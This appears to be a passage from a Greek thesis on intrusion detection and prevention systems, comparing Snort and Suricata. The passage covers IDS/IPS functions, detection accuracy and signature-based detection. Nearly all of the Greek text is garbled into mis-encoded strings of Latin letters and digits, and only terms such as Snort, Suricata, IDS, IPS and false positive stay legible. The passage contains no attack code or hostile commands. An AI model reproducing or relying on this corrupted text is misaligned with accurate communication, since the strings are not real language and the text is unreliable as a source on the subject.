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Hepiinyn

Kabbg 6A0 ka1 meptocoTePol opyaviopol a&lomolovy cueTAHOTO oviyvevong eofordv yuo. v
TPOCTAGIO. TMV TANPOPOPIKOV TOVC CLGTNUAT®V, 1 OVAYKN YO TEYVIKEG OMOTIUNONG TNG
OMOTEAEGLLATIKOTNTOC OVTMV TOV GLOTNUATOV OCQAAEING YIVETOL OAOEVH Kol Mo emTokTikn. H
dVVATOTNTA, TPAYUATOTOINGONG TOCOTIKOV UETPNOE®V NG amddoong twv IDSS sivar amapaitnn
aevos eV Yo eketvoug Tov £yovv v €uBiVN a&loAdynoNg Kol ETA0YNG EVOC TETOLOV GUGTILLATOG
KOl OQETEPOV VIO TOVG EPELVNTEG TOV TPOSTabovuv va PEATIOGOLV TO. GUOTAHUOTA TOLG Kol Vo
LETPNGOLY TNV TPOOJ0 KOl ATOTEAECUATIKOTNTA TOVG. Q0TOG0, dev VIAPYEL €nl TOL TAPOVTOG i
OAOKANPOUEVT] KOl EMOTNHOVIKE Tekunplopévn pebodoroyio SOKIUNG TNG OMOTEAECUOTIKOTNTOG
avTOV TOV cvotudtev. H éAletyn mocotikmv petpioemv amddoong tov IDS/IPS, ogeiketon og
dtpopa. epddI0 OV YPEELETOL VoL EEMEPACTOVY TPOKEUEVOD VoL €IVAL EPIKTN 1) EKTELECT] AVTMOV TOV

SOKIUDV.

Ymv mopodoo epyacio yivetoar opylkd pion CLUGTNUOTIKY Kataypoaen Kot ToSvOouncn Tov
VOIOTAUEVAOV TEXVOLOYIOV Kol pebodoroyidv aviyvevong kol amotpormng eicfordv. H ta&ivounon
0T OTOTEAEL €vol YPNOIUO EPYOAEID Y. OGOVG QEPOLV TNV €VOVVN TPOGIOPIGUOD TOV GTOYWOV
XPNONG EVOG TETOLOL GLGTHLOTOG KO ETAOYNG TOV KATAAANA®WY TEXVOLOYL®V OV B 0dNYNGOLV 5TV

EMITEVLEN AVTAV TOV CTOYWV.

Agdopévov OTL 1 TAEOVOTNTO TOV. EUTOPIKMDY GLOTNUATOV TOV YPNGULOTOOVVTOL CHLEPO. Eivor
dwcrvokd IDSS/IPSs 1o omoion ypnowwomoovv ) uebodoroyia aviyvevong Pdoel vroypapov,
emAEYONKav 600 gupémg yvwotd Owktvaxkd IDSS avolktod kddka mwpokewévoy va peietnBodv
TEPOUOTIKG Kol Vo GVYKPLBoOY @¢ mpog TV akpifeta aviyvevong anctiwv. To mpdto IDS eivor 10
Snort, to omoio amoteket To Mo Kataiwuévo deBvag IDS avouktod kddika. To devtepo IDS givar o
Suricata, to omoio £yel yivel yvooto Ta TEAELTOIN YPOVIO KVPIDG AOY® TOL YOPUKTNPIGTIKOD TOL
nolvvnuaticpod mov dabétel. To YOPOKTNPIOTIKO TOL TOALVNUOTICUOD eMITPENEL 6To Suricata va
aflomomoet moAramiés CPUs yw v mopdAinkn enelepyocioa peydhov mAnbovg mokETmv,
KafotdvTag 10 wavoe v avtaneEéAfel oTig VYNAEG amoutioElg Hiog SIKTLOKNG KIvong LYNAOL

oykov.

[N tov Tpocdlopiold TV TEPAUATIKOV SOKIUMY ToV Oo EXETPETAV T1 GLYKPLITIKY 0EOAOYNOT TV
dvo ovomnudtov, ypewdotnke va mponyndel o TPOGSOPICUOC TOV KUPOTEPOV UETPTCIHOV
yopoktnplotikedv tov IDSs, eotidloviog Kupiog 6Ta TOCOTIKA YAPUKTNPIGTIKG Tov oyeTilovtal pe
v axkpifea aviyvevong anelthdv. Emiong, avalvovtar o1 duckoAieg mov ypelaletar va EETEPUGTOVY
wpokeWEVOL va, dtevepynOel pio aloddynon evog IDS, alAid kot ot advvapieg twv IDSS wov pmopel
Vo EKUETAALEVTEL €vag EMTIOEUEVOG TPOKEIUEVOL VO ATOPVYEL TNV OVIXVEVCOT] TOV dPUCTNPLOTHTOV

TOVL.
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Metd tov TPoGIIoPIoUO TV HLETPNOILMV YAPUKTINPLIOTIK®Y GUYKPIONG, TEPLYPAPOVTUL AETTOUEPHS OL
SOKIUEG TTOV TTPOLYLLUTOTOONKOY KAOMG Kol TO, CUUTEPAGLOTO TOV TPOKVTTOVY amd TN UEAETN TV
amoteheoudtov. To YEVIKOTEPO GLUTEPAGUA TTOV TPOKOTTEL givar dtL To Short tapapéverl o de facto
IDS/IPS avoiktol k®ddika yio mapaymykd mepifarrovra. Qotdco, to Suricata sivar éva avepyopevo
IDS/IPS pe a&i6hoyeg emdOGEL, TO OMOI0 YPNOWOMOLEl TEYVIKEG EKUETAAAEVONG TOV dl0BECIU®Y
VTOAOYIGTIK®OV TOP®V 01 0moieg Oa mpémet va vioBetBovv kot amd to Snort. H e&éhMén tov Ba mpémet
va mopokolovBeitan otevd, KoBDC o010 Tpooexéc MHEAAOV EVOEXETOL VO OMOTEAEGEL TNV MO

evoederypévn Aoon diktvakod IDS/IPS avoiktod kmdika.
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1 Ewoayoy

YV0KEVEG OMMOC Ol GUVAYEPLOT KATATATNONG TNG 1O10KTNGI0C, Ol aviYVELTEG KAmTVoD, Ol GLVAYEPUOL
TUPKAYLAG KOl TO KAEGTO KUKADUOTO TNAEOPUONG, EUTIMTOLV OTNV KOTNYOPid TV (QULGIK®MV
CUGTNUATOV AViYVELONC KOl ATOTPOTNG EIGPOAMY KOl AmEADV NG Tpayuatikng (one. H amoctoln
OVTOV TOV GLOKELMOV €ivol 1 TOPOKOAOVONGN NG EUPAVIONG CLYKEKPIUEVOV OMENDV Kol M
TAPAYMYN EO0TOUCEDV KO KATAYPOPT] TOV TOPATPOVUEVOV YEYOVOT®V KATA TNV EKONAWDGCT TOVG,.
opadeiypota TéTo10V ONEIMOV givol 01 TVPKAYIEG KOL 1] KATATATNGT TNG WO0KTNGI0C. ZVVETELES TOVG
pmopet va glvan 1 kKhomn, 1 Bopd EEvne meplovsiag 1 akOpa Kot 1 ammAE avOpdTvev (omv. g6 ek
TOUTOL, glvan copég OTL 11 0pBn AgtTovpyio KOl 1) ATOTEAECUATIKOTITO OQVTMV TOV GLCKELOV givat
eEapetid onpovtikn. [pokeywévou va eEacpaiiotel 1 0phn Agttovpyie Kot 1 ATOTEAEGUATIKOTNTA
TOVG, SLIPOPOL OPYAVIGHOL £YOVV GLGTNGEL TPOTLTTA GLUUOPPOONG TO. OTOid TPOGO1OPILOVY KAVOVEG
Ko 001yieg Aertovpyiag anT®V TV cLoKEVAOV. Ta TpdTLTTA CVTE TEPLAUPAVOLV aKPIPEi] dtadKaGieg
eA&yyov g Asttovpyiag Tovg Kot kabopilovv Tig akpiPeic HETPIKES TOV ToL KOOIGTOVV ATOdEKTH TPOG

xpnon.

Tnv teAevtoio dekaetion €xel mopotnpndel pio ekpnitiky avamntuén Tov dadiktiov, Kabmg M
npdcPacn oe avtd Yivetrar oAoéva kot evkolotept|. [lapdriinia dwamiotdveTon Guveyng Pertioon g
TOWTNTOC TOV TOPEYOUEVOV OO OVTO VLANPECUDY, MG CLVEMELN TNG ALENONG TOV TAXLTHTOV
pocPaong. Oloéva Kot TEPIGGOTEPOL IOUDTEC OAAL KOl OPYOVIGHOL ¥PNGILOTOOVY TO S1adIKTLO Yio
EVNUEPWOT, YOYOYOYIM, OyopES, EMYEPNUOTIKEG OpaoTNPLOTNTEG Kal dAAOVG okomovs. Kabmg to
OldiKTLO YIvETOL CLVEXMG TO TPOCOIAEG KOl OVEAVETOL O OPOUOC TV YPNOT®OV TOv, YiveTot
EVTOVATEPN M aVAYKT Yo GuoTHLOTA acPAAElnG Tta ontoia Ba etvar oe Béon va aviyvevovv VTomTEG
dpaoctnplottec kol Bo amoTpémovy TNV TPOGPOCT O EKEIVOUG TOV EMYEPOLV TNV EKTEAEON
emBeTik@V gvepyeldv. To cLGTNUATO OVTA EIVOL TO YNELOKE GLGTILOTO AVIXVEVONG KOl OTOTPOTNG
gwoforav (IDS/IPS) kot n Aertovpyio TovG OpHOALEL HE AVTH TOV OVTIGTOLX®V PUOIKOV GLOTUATOV
oL avaPEPONKaY TPONYOLHEVMG. AEdOUEVOL OTL Ol OMEIALEG EVOVTL TNG AOPAAELNS TMV TATPOPOPLOV
&xovv £i00V OMUOVTIKEG GUVETELEG [LE OVTEG TMOV TUPKAYIDV Kol TOV KATOTATCE®V TG 1010KTNGiog,
elvar amoAvTmg amapaitnto ta ynoeakd IDSS va Asitovpyodv cwotd Kot vo ival amoTELEGUOTIKG
OTNV aViyvevon Tov amell®v. QoT1000, ce avtiBeon LE TO GUOTAUOTH OVIYVELOTG OTEIADV TOV
(QLOIKOD KOGHOL, OV VITAPYEL EML TOV TAPOVTOG [io, OLOKANPOUEVT KOl ETIGTNIOVIKA TEKHUTPLOWUEVT

uebodoroyio SOKIUNG TNE UTOTEAECUATIKOTNTOS OVTMOV TMV GUGTNUATOV.

Yy mopodoo epyacio yiveral pio TEPAUOTIK HEAETN Kol ovykpltikn afloddynon tov dvo
yvoototepov IDSS avoiktod KOOKE OV YPNCUYLOTOIOVVTAL CTUEP GE TAPAYWOYIKO TEPIBAALOVTA.
Tng TEPAUOTIKAG OVTAG MEAETNG Tpomyeital pio Kataypa®n Kot Ta&vouncn TV LELGTAUEVOV

TEYVOAOYLOV Kol HEBOSOAOYIDV aviyveELONG KOl AOTPOTNG EWGPOADY, KAODS Kol 0 TPOGIHOPIGHdG
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TOV KUPLOTEPOV LETPNOIL®Y YOPOKTNPIOTIKOV TV IDSS ov Ba pwopodcav va ypnoiorondovy yio

TN oLYKPITIKY a&loAdyNon TV 000 CLGTHUAT®Y.
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2 AvVTIKELPEVO, OKOTTOS KUl GTOYOL

2.1 Avtikeipevo

Avtikeipevo g mapovoag epyaciog ivor n peAétn g axpifelag tov diktvakdv IDS katd v
aviyvevon omell®v. To &vovopo Yo TNV €VOCYOANGCT KE TO CLYKEKPUEVO OVTIKEIHEVO NMTOV M
dwamiotwon 0Tt o1 Teplocdtepes dbéoipes aloAOYNOEIS VTV TOV TPOIOVI®V TEPLopilovTal oTn
oLYKPIOT TV JOOEGIUOV YOPOKTNPICTIKAOV TOVG, XOPIS Vo HEAETODV TEPAUOTIKG TNV KOVOTNTA
TOVG VO AVIYVELOLV KAl Vo avayvopilovv Tig obvheTeg emMBECELG TOV EKONADVOVTAL GTO TOPUYDYIKA
nmepiparrovra. Kpidnke cvvemmg onuavtikiy M oxedioon kol EKTEAEST EMOVOANYIL®Y GOKIUMY, Ol
omoleg Ba elyav ¢ ATOTELECLA TNV TOPOY®YN CLYKPICIL®V TOGOTIKOV LETPHGEMV TNG OKPIBELNG TOV
eetalopuevav diktvokav IDS katd tnv aviyvevon onelh@v. To GLUTEPAGUATO AVTOV TOV SOKIUDY
umopov va aélomonbovv amd dcovg eépovv TV €vBHVN emAoyng evog duktvaxol IDS, evd 1
pebodoroyio mov axorovOnOnke pmopel va epoppootel Yoo TV a&loAdYNoN Kol EMTPOCHETOV

npoiovtov IDSS g 1d1ag Teyvoroyiag.

2.2 XKomog

YKkomdg ¢ Epyaciag sivat 1 TEWPARATIKN HEAETN KOl CLUYKPITIKY a&loAdynon og mpog v axkpifeia
aviyvevong anelihadv, TV 000 YVooToOTEP®Y SIKTVAK®OV IDSS avoikTov Kddka Tov YP1GILOTOI0VVTIL
onuepa oe mapaywykd nepipdiiovta. H cuykpitikr avt) a&toddynon Ba mpémel va yivel péow piog
emavoAnyiung dwdikaciog n onolo uropel vo gpoppootel Yo v a&ohdynon kot emmposhetmv

npoidvtav IDSS g id1ag Teyvoloyiag.

2.3 Xtoyor

Mia ovykpitikn agloldynon cvotnudtov IDSSs mpodmobétel v KoTavonon tov Tpdmov ¥priong Kot
AeTOLPYIOG AVTOV TOV TEYVOAOYIDV KOl TOV LEBOSOAOYIDV OVIXVEVGT|G TTOV YPT|GILOTOLOVV. ZVVETMC,
0 TPAOTOG 6TOYOG TNG EPYASiag eivar 1 TaEvOunomn Kot emtokonnon tev teyvoroyimv IDS kat IPS, mg

amopaitnTn Oeperioon yio TV TpAyLOTonoinoT g LEAETNG.

Mia dgbtepn amapoitntn Tpoimddeot eival 0 TPOGIOPIGUOC TOV UETPTCIUOV YOPUKTNPIOTIKMY TOL
UITOPOVV VoL XPNGIULOTON 000V Yo Tr SUYKPLTIKY 0EI0AOYNON TOV GUGTNUAT®V. ZUVET®OG, 0 dEVTEPOG
oTOX0C TNG epyaciag &ivol 0 TPOGOIOPICUOC EKEIVOV TOV TOCOTIKMOV YOPOUKTNPIOTIKOV TOV

GLGTNUATOV, T 07010 O ATOTEAEGOVV TO OVTIKEIUEVO UETPNONG TV TEPAUATIKMDY SOKILDV.

O 1pitog Ko terevtaiog otdY0g NG epyociog ivar 0 oyedlaoUOg Kol 1 EKTEAECT] EMOVOANYIL®OV

JOKIHAV, o1 omoieg Ba £yovv M AMOTELEGHO TNV TOPAYOYT CLYKPIGIL®OV TOCOTIKOV LETPCEMV TNG
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akpipelag tov eéetalopevoy diktvakmv IDSS koatd v aviyvevon amelmv. O oyedlooHOC TOV
oK@V Ba Tpémet va yivel £(ovTag KOTé VoL TOLE TEPLOPICUEVOVE VITOAOYICTIKOVE TOPOVE TOL Eival

O100€G1101 Y10 TNV EKTOVNON TNG EPYOGTOC.
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3 Ogpeshmmoeig apyés tov IDS/IPS

O 06pog aviyvevon e1gfolwv avOQEPETAL OTN OOIKOGIN TOPAKOAOVONONG KOl avdAvoNG TOV
yeyovoT®V mov cuppaivovv o€ £va dIKTLO VTTOAOYIGTMOV 1| £VO. VITOAOYIGTIKO GUGTNUO, LLE GTOYO TNV
aviyvevon evdeilewv mOOVOV 7TEpIoTOTIKOV aopalElag, TO OMOio amotelovV TapaPidosig M

EMOMEINOVEVEG TTaPOPLACELS TNG EQOPUOLOUEVTG TOMTIKNG ACPAAELOC.

‘Eva ovotiua aviyvevone eigfoiav (IDS) givar éva hoyiopiko 1o omoio owtopatonotel tn dwudikocio
aviyvevong eI6PordV, eve Eva obatyuoe arotponns eiofioimv (IPS) diabétel OAec T1g Suvatdreg evog
IDS kot emmpocBétwg elvar oe Béom va emyepel TV amoTpomy] TV THAVOV TEPICTOTIKOV
acpdiewag. O teyvoloyieg IDS xat IPS SwBétovv modhéc kowvég duvatdtnTes Kot ol St EIPIoTES
ToVg gival o€ B€om Vo amevepyomolovv Tig SuvaTOTNTES amoTpong TV IPS, pe amotélecua avtd va
Aertovpyovv g IDS. Ztig endueveg mapaypdoovg mapéyetol pio TaSvounorn Kot EmCKOTN o TOV
teyvoroymv IDS kan IPS, g anapaitntn Oepehioon yio to kKepdAaia wov axolovbobdv, eneénymvtog
TOV TPOTO YPNONG KOl AEITOLPYIOG ALTOV TOV TEYVOAOYIDV kKol TV uebodoroyidv aviyvevong mov

YPNOYLOTOLOVV.

3.1 Xpnioseig tov tervoroyiov IDS/IPS

Ot teyvoloyieg IDS/IPS ypnowomoodvial Kupiog Yoo TV ovayvopion Tovav TePIoTATIKOV
OCQAAELNG, TNV KATOYPOON YPNCULOY TANPOQOPIDV GYETIKA UE ALTH TO TEPIOTATIKE, TNV OTOTELPOL
QIOTPOTNG TOVG KOL TNV AVOPOPE, TOVG 6TOVG dlayelplotés aopdietog. o mapdderyua, éva IDS/IPS
0o pmopovoe va. aviyvedoel v amdmelpa. evog emtifépevon va expetoAdevtel pio advvapio evog
TPOGTATEVOUEVOD CLGTNHUATOC, TPOKEIWEVOL Vo, Topafidost v ao@dAield tov. TToAhd IDSS/IPSs
glvan emiong oe Béom va aviyveLGOLY OPAGTNPLOTNTEG AVIXVELOTG KOl XOPTOYPAONONG Ol OTOIES
oVVIO®G TPOMYOUVTOL TV EMBECEDY, OTMG Y10 TAPASELYUO 1) CAPMOT CLGTNUATOV Kot Bupdv Yo
v avoyvopilon otoyov tev emkeipevov embécemv. H aviyvevon avtdv tov dpactnplotitov
umopet va dwoel m dvvatodtnta oto IPS va amotpéyel v emikeipevn enifeon Kot va evpepdCEL
TOVG JLYEPLOTEG OAGPAAELOG TPOKEUEVOD VO TPOPOVV OTIS OTAPOITNTEG EVEPYELEC TPOCTOUGIOG TMV

GUOTNUATOV.

Emnpocheta g avayvodplong Kot OVIIUETOTIONG TMOV TEPICTOTIKAOV acpaielac, to IDSS/IPSs

puropobv va a&toroinfovv kat yio. GAAOVS GKOTOVG, OTTMG:

e  Avayvopien wpofinudtov otV €QUPROY]  TNG TOMTIKI] OGQOAENS  TOV
npocToTELONEVOL d1kTVOV. ‘Eva IDS pmopei vo fondnocel otov éheyyo g €QUpPUOYAS TNG
TOMTIKNG OCQAAELNG, OVATOPAYOVTOG TO GUVOAO T®V KOVOV®V TOV TEIYOLE TPOCTUGING

(firewall) kot ovagépovtag Ty Topatnpoduevn dikTvaky Kiviion 1 onoia Oo émpene va éxet
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omotpomel Kol Ogv  amoTpdmnke, AOY® AOVOUGUEVIC TAPUUETPOTOINCNG TOL TELYOVC

TPOGTAGIOG.

YUYKEVTPMGT TANPOPOPLAOV CYETIKA pe TIg EMOEGELS MOV TPaypaTOTOUONKAY, 01 OTTOiEG
0o ponbMocovy GtV ATOKATAGTAGT TOV GUGTNUATOV TOV TAPABIAGTNKAY KOl TOV EVIOTIGUO

TOV emTOEEVOL.

Koatoypogn TtoOv vAopkt@®v oAElAM®V OV OovTpeTomilel évag opyaviepés. Ta IDSs
KATOYpAPOLV TANPOPOPIeEC GYETIKA e TIG eMBEcelg mov evromilovy. Ot mAnpopopiec avtég
umopodv va  Bonbfcovy ONUOVTIKA OTNV KOTAvONnoN TMV YOPOKTNPLOTIKOV KOl TNG
oVYVOTNTOG TV EMOECEDV OV OVTIUETOTILEL £VAC OPYUVIGUOC, TPOKEEVOD VO EPUPULOCEL

TO, KOTAAANAQ LETPOL TPOCTAGIOG TV VITOOOUMY TOV.

Amotpomn wapafiacnsg TOV TOMTIKOV ac@dierog. H mopakorovdnon tov evepyelidv omd
ocvatipata IDS, mboavdv va Aettovpynoel amoTpenTikd yio Tovg emido&ovg emitifépevoug,

AOY® TOL KIVOHVOL aViXVELONG TOV EVEPYEIDY TOVE KOl TOV EVIOTIGHOD TOVG,.

AOYo ¢ av&avopevng eEGPTNONG 0md TA TANPOPOPLOK(E GLOTHATO KOl TIG TOAVEG EMNTOGELS 0o

TG eMOEGELG EVOVTIOV OVTOV TV cvothudtoy, To. IDS/IPS éxovv yivel o amapaitntn tpocOnkn yio

TNV VTOOOL] OCPAAELNG OYEOOV K(OE OpYOVIGUOD.

3.2 Kopieg Aertovpyiec tov IDS/IPS

Yrapyovv moAloi tomot texvoloyidv IDS/IPS, ot omoiotl dtapoponotodvial Kupimwg amd Tovg THTOVS

TOV YEYOVOT®V TOL €lval o€ BEom va avayvmpicovy Kot Tig LeBodoAoyieg TOv YP1GLLOTOIOVY Y10 TV

avVaYVAPLIoT] TOV TEPIOTATIKOV ao@iAelns. Extdc amd v mapakoiohnon kot v avaivon twov

YEYOVOT®V, UE GTOYO TNV OVOYVOPION EVEPYEIDV TOV £pYOovTal o€ aviifeon pe v epapuolopevn

TOMTIKY 0o@dAclog, Oheg ot Texvoroyieg IDS/IPS extelodv cuvibmg Tig akdrovbeg Aettovpyiec: [1]

Koataypagn minpo@opi@dv oyeTikd pe 10 mapatinpovpeve yeyovéota. Ov mAnpopopieg
aVTEG OlaTNPOoLVTOL GUVADWG TOMIKA, EVAO TOVTOXPOVO HTOPEL VO OTOGTEAAOVIOL OF
Eeymplotd cvotpoto, Ome¢ kevipikovg eéumnpetntég kataypoaenc (logging servers) M

Maeig SIEM (Security Information and Event Management).

Edomoinon o10yeproTdV 06QAAELNG GYETIKA NE ONUAVTIKA YEYOVOTO. H g1d0moinon tov
SlayeptoTdv Yoo KOs onuavtikd yeyovog eivar yvmot pe to 6po alert (edomoinon) kot
umopel va mpayuatomomBel UEcw SlopOp®V  KOVOADV EMIKOWVOVIOG, Onmg e-mails,
unvopdtev syslog, tng diemaeng ypriot (user interface) tov IDS/IPS, 1 axopo kot uésw g
ekTéleonG eEeldIkevpEvVOY TPOYpoUUdTOY Kot SCrptS mov €xel mponyovuévag opicel o

S0y EPIOTNC.
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e [lapayoyn ava@opav. Ot TapayOUEVES OVOPOPES TAPEYOLV Hidt GOVOYT] TV YEYOVOTMV TOL

KOTAYPAPN KOV 1) KO AETTOUEPELEG CYETIKA LLE EMAEYUEVA YEYOVOTO.

Optopéva IDS/IPS givan o€ Béomn va tpomomotovy duvapikd ) Agrtovpyio Tovg dtov aviyvedetal pio
ame\). o mopdderypa, pmopodVv vo, GLAAEYOLV TEPICCOTEPO OAVOAVTIKEG TANPOPOpPieS Yo pio

oLYKEKPLUEVT] 61UVOJ0 (Session), dtav aviyvevbel pio amelln eviog TG GLYKEKPIUEVIC GLUVOSOV.

To yopaktnpiotikd mov dtapopomnotel Ta IPSs and ta IDSs eivar avtd g dvvatdHTTOg 0mTOKPIoNG
evog IPS o¢ pia ameidn mov aviyveveTal, pe 6tdyo Vv amotpomn tng. Ot Teyvikég TOv ¥PNGILOTOI0VY

YO0 TV OTOTPOT TV OTEILDY TOIKIAOVY Kol HITopohv Vo KAt yoplomotnBovv g eENG:
e To i610 10 IPS otapatd v exiBeon, (pCLOTOIOVTAG UNYOVIGHLOVS OTMG 01 akOA0VOOL:

= Tepuatilovtog ™ SikTLOKT cHVOESN N TH CVLVOOO TOV ¥PNOTH TOV YPNCULOTOLEITOL

Yo TNV emifeon

»  AmoxémToviag v mpodcPacn oto o1d)0 NG emibeong yw Tov  EMTIOEUEVO

Aoyaplacpd xpnotn i tn devbvvon IP mov ypnoionotet o emtifépevog.

»  AmoxomToviag KOs mpdcoPacmn mPog To GVOTNUO 1 TNV LANPECIO TOL OMOTELECE

010Y0 NG enifeonc.

o To IPS tpomomorei to mepifpariiov ac@dairewog. To IPS pmopel va odraéer v
TOPOLUETPOTOINGT AAA®Y CLGTNUATOV OCPAAELNG TPOKEEVOL Vo TEpHOTioet pia ev eEgAiéet
enifeon. Ta mopdoetypa, elvor duvatd vo TPOTOTOUCEL TNV TOPAUETPOTOiNo piog
dwtvakng ovokevng (firewall, router, switch) 17 evoc host-based firewall, étor dote va
amokomel 1 TPpOcPact Tov emTIOEUEVOL TPOG TO 6TOYO TG emiBeong. Opopéva IPSS sivau oe
0éon axdpa Kot va gykatactioovy patches o éva oot U, EPOGOV SUMIGTMOGOVY OTL LUE TNV

£QUPUOYN TOVG EEAAEIPOVTOL OLOMIGTOUEVES AOVVOIES.

e To IPS tpomomorei to mepigybpevo g emiBeong. Opwopéva IPSs eivan oe Béom va
QITOUOKPOVODY 1 VO, TPOTOTOLOVV GUYKEKPUEVO TUAUOTA TOV OTELDV 0L OViYVEDOLV
TPOKELUEVOL VO, TIG apomhicovy. o Tapdderypa, propodv va agaipécovy amd Eva email Eva

HOAVGUEVO LE 10 EMGVVOTTOUEVO apYELO.

o Apdon gvavtiov Tov emri@ipevov. Opiopéva IPS divouv dabétovv ™ duvatdtnra Aqyng
UETPOV TTOV CUUTEPIAAUPAVOVY TNV EKTEAECT] EXOPIKAOV EVEPYEIDV EVAVTIOV TOV EMTIOEUEVOUL,
LE GTOYO TNV KATAPPELGN TOL KAl TNV OTOTPOTN TNG EMIBEONC TOL eMyElpNGE. AV Kot dVvTh 1
OVTILETOTION QOIVETOL OPKETE AMOTEAEGLOTIKN Kol dikair, KpOPel ToAAoVE Kivdvvous. Extdg
TOL OTL QLT 1 €VEPYELOL EVOEYETOL VO, NV givar VO, vdpyel o kivduvog va mpokAndel
I og AéBog ypNoTeg Kol GLOTAWOTO, KAOMG TOAAOT EMTIOENLEVOL PN OIUOTOIOVV TAUCTEG

devBuvoelg IP otav eEomorbovy pia enifeo.
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3.3 Akpipera aviyvevong

Eva kowd yapaxtnpiotikd tov teyvoroyidv IDS/IPS sivar 1 advvapio tovg va ivar amdAvto axpipn
Katd v oviyvevon omeiddv. H xatdotaon xatd tv onoia éva IDS/IPS opbdg avayvmpilel pia
dpaotnpotnta o¢ kakdPovAn, yopaktmpiletar g true positive (oAnbdg Oetikn), evd 1 opbn
avoyvoplon piog dpaotnplotnTag og vopung yopaktnpiletor og true negative (aAndog apvntiky).
AvtiBétog, n katdotaon kotd v omoio €va IDS/IPS eceoipéva avayveopiler plo vopun
dpactnprotnTa Mg KakOPovAn, yapaktnpiletar mg false positive (yevddg Betikn), evd N ecpaipévn
avayvoplon piog kKakofoving dpactnpiotno mg vouung xopaktnpitetor g false negative (wevdmg
apvntiky). H minpng eEdhenyn tov false positives kon negatives dev givor moté€ e@iktn kat cuvndmg n
peimon g epeaviong g plog katnyopiag odnyel oty avénomn g epnedviong g dAine. IoArol
opyavicpoi emAEYOLV Vo LELMGOVY TNV eueavion tov false negatives mpokeiuévon va, emtdyovy v
aviyvevon TePIGGOTEPOV KAKOPBOVA®Y EVEPYEIDV, OMOdEYOUEVOL TAPAAANAQ TO KOGTOG TNG AvENOTG
¢ epeaviong tov false positives kot g avaykng aeiépmong tepiocdTEP®V TOP®V Y1 TNV avdAvon
TV yeyovoT®mv Kou T Oudkplon petold tov false positives kol tov mpaypotikdv KoakoBovimv
evepyeliov. H dodikaoio tpomonoinong tov pvbuicewv evog IDS/IPS, ue o160 ™ Pektioon g

akpifetlog aviyvevong eioforav, eival yvwot pe tov 6po tuning (pvduon).

IToAMG IDS/IPS d1a0étovv emiong yapakInpIoTIKE To 0moia, TOVG 8ivouv T1 SuVATOTNTO VO AVIXVEDOLY
amelléc ol omoieg ypmoilpomolobv  TEXVIKEC Otapuyng (evasion techniques). Ouv emitiBépevor
YPNOLUOTOOVV  JIAPOPES TEYVIKES - OPVYNG HE TIG OMOIEG EMTLYYOVETOL 1) TPOMOMOINCN TNG
EUPAVIONG TOV EMBECEDV, EVO TOVTOYPOVO TO OMOTEAECUA TOVG MOPAUEVEL ovoAAloimTo. [
Tapddetypo, £vag emTIBEUEVOC UTOPEL VO KOOIKOTOGEL YOPAKTNPES KEWEVOL LE VO CUYKEKPIUEVO
TpOTO 0 omoiog givan katavontds and 10 o1dY0 TG enifeonc, eAnifovtag OTL ALT 1 K®IKOTOINoN
dev Ba givan katavont) and to IDS/IPS. Ta mepiocdtepa IDS/IPS pumopodv va avietonicovy Tig
TEYVIKEG O10pVYNG axoAovO®OVTaG TN Aoy enegepyaciog TV cvotnudtov otoymv. Av to IDS/IPS
avTihappaveToal To yeyovota [e Tov 110 TPOTO oL TO. AVTIAOUBAVETOL TO GUOTNUO GTOYOG, Ol TEXVIKEG

SlpVYNG Oev elval IKOVEG V. ATOKPOYOLV TIG ETOECELS.

3.4 Kvpueg pebodoioyieg aviyvevong

Ot pebodoroyieg aviyvevong mov ypnotpomolovy o IDS/IPS mowilovv kot moAAd amd ovtd
a&lomoobv  moAlamAég peBodoroyieg TPOKEWEVOL VO TOPEYOVY  ELPVUTEPES KOl To akpiPeig

OVIYVEVGELC. XTI EMOUEVEG TOPAYPAPOVG TopovGlalovTal ol kKuplotepeg pebodoroyieg aviyvevong.

3.4.1 Aviyvevon pacilopevn o€ vroypo@és

Me ) pebodoroyia aviyvevong PAcEL VTOYPUP®V TPAYLOTOTOIEITOL GUYKPLOT] TOV TALPUTTPOVUEVOV

YEYOVOT®V pe mpoKabopiopéva mpodTLTE YEYOVOT®OV TOL TEPLYpdpovv pio yvootn enifeon. Ta
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npdTLTO. owTd ovoudlovton vmoypapée (Signatures) kor YU ovtd to Adyo m upebodoloyio cvth
ovopaletor aviyvevon Poocilouevy oe vmoypapés (signature-based detection). Mia vroypoey umopei
VO TEPLYPAPEL KATOLH YOPUKTNPLOTIKA VOGS TAKETOV, OTMG VOl Y10, TOPASELYLOL 1| EUQAVION EVOG
OGUYKEKPIHEVOD AEKTIKOD GTO SEGOUEVA TOV, TO OTOI0 YPTCLUOTOLEITAL OO Uik CLYKEKPIUEVT emifeon.

Mia vroypoaen pmopei va meptypaeet pio cuykekpluévn enifeon 1 pio opdda embécewmv.

H aviyvevorn Pdoel vroypoedv amaitel ) yvdon OA®V T®V gUTOOEIDV TOV TPOCTATEVOUEVOV
GULOTIUATOV, Ol OTOIEG EVOOUATMOVOVTOL GE £V GOVOAD KOVOVMV TTOL TEPLEXEL TO TPOTLTO, EIGPOANG.
H peBodoroyion avt sivar e£oupetind OTOTEAECUATIKN] OTNV OVIXVELCOT YVOOTAOV OTEINDV, EVD
avTiféTmg dev elval 10100TEPO OMOTEAEGUOTIKY OTNV OVIYVELOT AYVOOT®V OTEILDV, TOPUALOYDV
YVOOTOV OmEl®V, KaOdG Kol eMBECEOV TOL YPNOOTOOVY TEYVIKEG Olevyng. Emiong, 1
pebodoroyion aviyvevong Pacel vmoypoaemv dev gival oe 0éom va kotavonoer oe Pabog To
YPNOUYLOTOIOVUEV, TPOTOKOAAD, Kol 08V UTOPEL Vo TOPOKOAOVONGEL TNV KOTAGTOGT TOADTAOK®V
EMKOVOVIDV, OTMOG Y10 TOPASELY O, VO CLUVOEGEL EVo, altnua Tpog Evav Web server pe tnv eveyduevn
apvnon eéumnpétnong tov artnuatoc. Télog, dev vdpyel n dvvotdtnto e£ETAGNG TPOTYOVUEVAOV
oUTNUATOV KoTé TV enefepyacio TOv TPEYOVTOC GITNHOTOC, LE OMOTEAEGLO VA LNV €ival ekt M
aviyvevon emBécewv o1 omoieg cuvioTaviol amd ETUEPOLS YEYOVOTO, TA, OTTOi0 OO HOVO, TOVG OEV

amoteAovV evoeitelg piag entBeong. [1]

3.4.2 Aviyvevon Pacilopevi) 6TOV EVTOTIGUO SLOTUPOYDV

H aviyvevon Paoetl evromiopod dwtapaymdv (anomaly-based detection), mpayuartonoteiton péom g
GUYKPIONG TOV TOPATIPOVUEVOV YEYOVOT®V WE TPOKOOOPIGUEVE TPOTLTTO TTOL OAVTIGTOOUV GF
